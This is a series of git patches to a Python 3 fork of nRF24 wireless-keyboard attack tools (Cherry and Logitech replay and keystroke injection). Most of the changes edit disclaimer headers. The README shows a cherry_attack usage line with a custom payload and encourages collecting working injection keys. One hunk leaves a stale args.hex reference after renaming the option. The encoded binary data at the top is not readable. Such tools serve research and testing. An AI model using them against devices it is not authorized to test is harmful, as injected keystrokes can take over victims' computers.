zNPs}r2tOh#v@dx*j$r3DG&njsPWvtk)VIMK)lBU-I&nepd0nEooV5uQ1@vLu-Qf@G zA%USNiCM|I2lo7W{K%)T6)@l>6Z!^Q>ng@|vviG3Od5lsHnm2-)tQnr{%+NZ%5E@z zNtx3;W?D8nr{E;NFhtm!yuADIaCCUED80P3B`sj3o?(lI6D(bHUGYj*W_DwJhC^CGm*>RR*21#xL~bw5(c2Tie}9BsSAucCb4 zkJYI?CW!hAeWI{rA=-NH#Iza9@eZxZ;ec?H3m+)~H*eEx(cE9!VUU-z_UimFkQrfu zO_9nckWA-3W1a!q#l`g(AMZ53-<)XUtPXa{U@#~F);2zZJcK|9%q>Fl&dLlZnVEPW z2+z)la`vRDuv(2QEq7Z3db8>B71{7aN#gy8kuZ1|GW;u)5z6Lw1{7@-?{2rRty^lqmdU=Yrzx zEqDEZ9E|~$L4)fuWDV;!{be*|nRLiK&!odE!<;sLd^?SYh1P0~;i}t^COG`$Bw5*_(1Ijsc=@1frX70H28M~reWe2er#C!4_{o}B-{VaiJw2xv z7eg$nJ{JG{S|r;b>Me*=uL2u{CWK@mGH3Hn27vLxE!y)$D0Rn? Date: Thu, 24 Oct 2024 13:06:02 +0200 Subject: [PATCH 16/20] Python3 info --- README.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/README.md b/README.md index 98e60fa..2dcbf6d 100644 --- a/README.md +++ b/README.md @@ -7,6 +7,11 @@ nRF24 transceivers, e.g. nRF24LE1 and nRF24LU1+. All software tools support USB dongles with the [nrf-research-firmware](https://github.com/BastilleResearch/nrf-research-firmware) by the Bastille Threat Research Team (many thanks to @marcnewlin) + + +## Migration from Python 2 to Python 3 + +This project has been migrated from Python 2 to Python 3. The codebase has been thoroughly updated to take advantage of Python 3's features, syntax improvements, and enhanced libraries. Users should ensure that they are using a Python 3.x interpreter to run the script. Compatibility with Python 2 is no longer supported, and users are encouraged to upgrade their environments accordingly. ## Requirements From 08630bb5f5d42bf0ec8d08a491d717d7d74889aa Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Thu, 24 Oct 2024 13:18:49 +0200 Subject: [PATCH 17/20] Update to python3 info rewritten --- cherry_attack.py | 10 ++-------- keystroke_injector.py | 10 +++------- lib/nrf24.py | 10 +++------- logitech_attack.py | 9 ++------- logitech_presenter.py | 10 +++------- logitech_presenter_gui.py | 11 +++-------- radioactivemouse.py | 10 +++------- simple_replay.py | 11 +++-------- 8 files changed, 22 insertions(+), 59 deletions(-) diff --git a/cherry_attack.py b/cherry_attack.py index 0adcbc8..0a394b0 100644 --- a/cherry_attack.py +++ b/cherry_attack.py @@ -26,14 +26,8 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . - - (Fork - 2024) - This program has been developed and optimized for use with Python 3 - by Einstein2150. The author acknowledges that further development - and enhancements may be made in the future. The use of this program is - at your own risk, and the author accepts no responsibility for any damages - that may arise from its use. Users are responsible for ensuring that their - use of the program complies with all applicable laws and regulations. +Einstein2150 (Update 2024): +This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. """ diff --git a/keystroke_injector.py b/keystroke_injector.py index 4b1b473..03c6899 100644 --- a/keystroke_injector.py +++ b/keystroke_injector.py @@ -25,13 +25,9 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . - (Fork - 2024) - This program has been developed and optimized for use with Python 3 - by Einstein2150. The author acknowledges that further development - and enhancements may be made in the future. The use of this program is - at your own risk, and the author accepts no responsibility for any damages - that may arise from its use. Users are responsible for ensuring that their - use of the program complies with all applicable laws and regulations. +Einstein2150 (Update 2024): +This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. + """ diff --git a/lib/nrf24.py b/lib/nrf24.py index f3273e8..1a4a414 100644 --- a/lib/nrf24.py +++ b/lib/nrf24.py @@ -18,13 +18,9 @@ along with this program. If not, see . - (Fork - 2024) - This program has been developed and optimized for use with Python 3 - by Einstein2150. The author acknowledges that further development - and enhancements may be made in the future. The use of this program is - at your own risk, and the author accepts no responsibility for any damages - that may arise from its use. Users are responsible for ensuring that their - use of the program complies with all applicable laws and regulations. +Einstein2150 (Update 2024): +This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. + """ diff --git a/logitech_attack.py b/logitech_attack.py index 0194ef1..5d78b7c 100644 --- a/logitech_attack.py +++ b/logitech_attack.py @@ -14,13 +14,8 @@ Copyright (C) 2016 SySS GmbH - (Fork - 2024) - This program has been developed and optimized for use with Python 3 - by Einstein2150. The author acknowledges that further development - and enhancements may be made in the future. The use of this program is - at your own risk, and the author accepts no responsibility for any damages - that may arise from its use. Users are responsible for ensuring that their - use of the program complies with all applicable laws and regulations. +Einstein2150 (Update 2024): +This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. This program is free software: you can redistribute it and/or modify diff --git a/logitech_presenter.py b/logitech_presenter.py index 24f50ab..ab5e57e 100644 --- a/logitech_presenter.py +++ b/logitech_presenter.py @@ -25,13 +25,9 @@ along with this program. If not, see . - (Fork - 2024) - This program has been developed and optimized for use with Python 3 - by Einstein2150. The author acknowledges that further development - and enhancements may be made in the future. The use of this program is - at your own risk, and the author accepts no responsibility for any damages - that may arise from its use. Users are responsible for ensuring that their - use of the program complies with all applicable laws and regulations. +Einstein2150 (Update 2024): +This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. + """ __version__ = '1.1' diff --git a/logitech_presenter_gui.py b/logitech_presenter_gui.py index 6e849a9..9f8c43d 100644 --- a/logitech_presenter_gui.py +++ b/logitech_presenter_gui.py @@ -24,14 +24,9 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . - - (Fork - 2024) - This program has been developed and optimized for use with Python 3 - by Einstein2150. The author acknowledges that further development - and enhancements may be made in the future. The use of this program is - at your own risk, and the author accepts no responsibility for any damages - that may arise from its use. Users are responsible for ensuring that their - use of the program complies with all applicable laws and regulations. +Einstein2150 (Update 2024): +This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. + """ diff --git a/radioactivemouse.py b/radioactivemouse.py index 4095a8a..d55847d 100644 --- a/radioactivemouse.py +++ b/radioactivemouse.py @@ -26,13 +26,9 @@ along with this program. If not, see . - (Fork - 2024) - This program has been developed and optimized for use with Python 3 - by Einstein2150. The author acknowledges that further development - and enhancements may be made in the future. The use of this program is - at your own risk, and the author accepts no responsibility for any damages - that may arise from its use. Users are responsible for ensuring that their - use of the program complies with all applicable laws and regulations. +Einstein2150 (Update 2024): +This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. + """ __version__ = 0.9 diff --git a/simple_replay.py b/simple_replay.py index f1c67d4..c727c44 100644 --- a/simple_replay.py +++ b/simple_replay.py @@ -24,14 +24,9 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . - - (Fork - 2024) - This program has been developed and optimized for use with Python 3 - by Einstein2150. The author acknowledges that further development - and enhancements may be made in the future. The use of this program is - at your own risk, and the author accepts no responsibility for any damages - that may arise from its use. Users are responsible for ensuring that their - use of the program complies with all applicable laws and regulations. +Einstein2150 (Update 2024): +This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. + """ __version__ = '0.3' From f6c271d400875a51140dc042fd0347d61fe18080 Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Thu, 24 Oct 2024 13:39:03 +0200 Subject: [PATCH 18/20] info changed --- README.md | 4 ++++ cherry_attack.py | 12 +++++++++--- keystroke_injector.py | 12 +++++++++--- lib/keyboard.py | 18 +++++++++--------- lib/mouse.py | 16 +++++++++------- lib/nrf24.py | 11 +++++++++-- logitech_attack.py | 11 +++++++++-- logitech_presenter.py | 11 +++++++++-- logitech_presenter_gui.py | 12 +++++++++--- radioactivemouse.py | 11 +++++++++-- simple_replay.py | 11 +++++++++-- 11 files changed, 94 insertions(+), 35 deletions(-) diff --git a/README.md b/README.md index 2dcbf6d..a1e7ed1 100644 --- a/README.md +++ b/README.md @@ -49,6 +49,10 @@ bash python cherry_attack.py -key 1234567890123456789012 -hex 00:11:22:33:44 -p "Your custom payload" -x ``` +#### New insights in cherrys encryption + +During testing with the extensions, I (@Einstein2150) also noticed that multiple valid keys for keystroke injection can be concurrently valid at the same time. With the enhanced debugging output, the keys along with their corresponding device MAC addresses are documented as entries in the log. + ### keystroke_injector.py diff --git a/cherry_attack.py b/cherry_attack.py index 0a394b0..5c0d46c 100644 --- a/cherry_attack.py +++ b/cherry_attack.py @@ -26,9 +26,15 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Einstein2150 (Update 2024): -This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. - + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. """ diff --git a/keystroke_injector.py b/keystroke_injector.py index 03c6899..d9f4d73 100644 --- a/keystroke_injector.py +++ b/keystroke_injector.py @@ -25,9 +25,15 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Einstein2150 (Update 2024): -This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. - + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. """ diff --git a/lib/keyboard.py b/lib/keyboard.py index 22ef85b..e199843 100644 --- a/lib/keyboard.py +++ b/lib/keyboard.py @@ -22,16 +22,16 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . - - (Fork - 2024) - This program has been developed and optimized for use with Python 3 - by Einstein2150. The author acknowledges that further development - and enhancements may be made in the future. The use of this program is - at your own risk, and the author accepts no responsibility for any damages - that may arise from its use. Users are responsible for ensuring that their - use of the program complies with all applicable laws and regulations. + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. - """ from struct import pack diff --git a/lib/mouse.py b/lib/mouse.py index 614f62a..cb8b93a 100644 --- a/lib/mouse.py +++ b/lib/mouse.py @@ -22,13 +22,15 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . - (Fork - 2024) - This program has been developed and optimized for use with Python 3 - by Einstein2150. The author acknowledges that further development - and enhancements may be made in the future. The use of this program is - at your own risk, and the author accepts no responsibility for any damages - that may arise from its use. Users are responsible for ensuring that their - use of the program complies with all applicable laws and regulations. + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. """ diff --git a/lib/nrf24.py b/lib/nrf24.py index 1a4a414..f3087fe 100644 --- a/lib/nrf24.py +++ b/lib/nrf24.py @@ -18,8 +18,15 @@ along with this program. If not, see . -Einstein2150 (Update 2024): -This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. diff --git a/logitech_attack.py b/logitech_attack.py index 5d78b7c..dd50f95 100644 --- a/logitech_attack.py +++ b/logitech_attack.py @@ -14,8 +14,15 @@ Copyright (C) 2016 SySS GmbH -Einstein2150 (Update 2024): -This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. This program is free software: you can redistribute it and/or modify diff --git a/logitech_presenter.py b/logitech_presenter.py index ab5e57e..5463d74 100644 --- a/logitech_presenter.py +++ b/logitech_presenter.py @@ -25,8 +25,15 @@ along with this program. If not, see . -Einstein2150 (Update 2024): -This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. """ diff --git a/logitech_presenter_gui.py b/logitech_presenter_gui.py index 9f8c43d..b7a5429 100644 --- a/logitech_presenter_gui.py +++ b/logitech_presenter_gui.py @@ -24,9 +24,15 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Einstein2150 (Update 2024): -This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. - + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. """ diff --git a/radioactivemouse.py b/radioactivemouse.py index d55847d..fdc6a7b 100644 --- a/radioactivemouse.py +++ b/radioactivemouse.py @@ -26,8 +26,15 @@ along with this program. If not, see . -Einstein2150 (Update 2024): -This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. """ diff --git a/simple_replay.py b/simple_replay.py index c727c44..c278cfa 100644 --- a/simple_replay.py +++ b/simple_replay.py @@ -24,8 +24,15 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Einstein2150 (Update 2024): -This program has been migrated and further developed for use with Python 3 by Einstein2150. The author acknowledges that ongoing enhancements and updates to the codebase may continue in the future. Users should be aware that the use of this program is at their own risk, and the author accepts no responsibility for any damages that may arise from its use. It is the user's responsibility to ensure that their use of the program complies with all applicable laws and regulations. + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. """ From a2b28a98c405d7b9d785f3f7c93774eb590dea31 Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Thu, 24 Oct 2024 13:42:21 +0200 Subject: [PATCH 19/20] encryption keys ... New insights in cherrys encryption --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index a1e7ed1..249435b 100644 --- a/README.md +++ b/README.md @@ -51,7 +51,7 @@ python cherry_attack.py -key 1234567890123456789012 -hex 00:11:22:33:44 -p "Your #### New insights in cherrys encryption -During testing with the extensions, I (@Einstein2150) also noticed that multiple valid keys for keystroke injection can be concurrently valid at the same time. With the enhanced debugging output, the keys along with their corresponding device MAC addresses are documented as entries in the log. +During testing with the extensions, I [@Einstein2150](https://github.com/Einstein2150) also noticed that multiple valid keys for keystroke injection can be concurrently valid at the same time. With the enhanced debugging output, the keys along with their corresponding device MAC addresses are documented as entries in the log. Feel free to collect as many working keys for your device as you can. ### keystroke_injector.py From 27d1b5ecac84e479c70782dd9e43ed56a0703fd8 Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Tue, 29 Oct 2024 07:11:15 +0100 Subject: [PATCH 20/20] Renamed -hex to -adr --- README.md | 4 ++-- cherry_attack.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 249435b..309c12e 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,7 @@ vulnerabilities of the wireless keyboard Cherry B.Unlimited AES The `-key` parameter specifies the cryptographic key used for the Cherry keyboard. It must be provided in a hex format (16 bytes) without spaces or special characters -The `-hex` parameter specifies the device address of the Cherry keyboard. This address must also be in hex format (5 bytes) and formatted similarly to the key, with pairs of hexadecimal digits separated by colons (e.g., 00:11:22:33:44). +The `-adr` parameter specifies the device address of the Cherry keyboard. This address must also be in hex format (5 bytes) and formatted similarly to the key, with pairs of hexadecimal digits separated by colons (e.g., 00:11:22:33:44). The `-p` or `--payload` parameter allows users to pass a custom payload that will be used during the attack. This gives users more flexibility when conducting their tests and attacks. @@ -46,7 +46,7 @@ The new `-x` or `--execute` option allows users to execute an attack immediately ``` bash -python cherry_attack.py -key 1234567890123456789012 -hex 00:11:22:33:44 -p "Your custom payload" -x +python cherry_attack.py -key 1234567890123456789012 -adr 00:11:22:33:44 -p "Your custom payload" -x ``` #### New insights in cherrys encryption diff --git a/cherry_attack.py b/cherry_attack.py index 5c0d46c..0e9272d 100644 --- a/cherry_attack.py +++ b/cherry_attack.py @@ -321,7 +321,7 @@ def run(self): # Set up argument parser parser = argparse.ArgumentParser(description='Cherry Attack PoC - a proof-of-concept tool for demonstrating replay and keystroke injection vulnerabilities of Cherry B.Unlimited AES wireless keyboards.') parser.add_argument('-key', type=str, help='The crypto key') - parser.add_argument('-hex', type=str, help='The device address in hex format (e.g. 00:11:22:33:44)') + parser.add_argument('-adr', type=str, help='The device address in hex format (e.g. 00:11:22:33:44)') parser.add_argument('-p', '--payload', type=str, help='Custom payload string (can contain special characters)') parser.add_argument('-x', '--execute', action='store_true', help='Execute attack immediately with the provided payload and quit') @@ -338,7 +338,7 @@ def run(self): info(f"Error: {e}") exit(1) elif args.key or args.hex: - info("Both -key and -hex must be provided together") + info("Both -key and -adr must be provided together") exit(1) else: crypto_key = None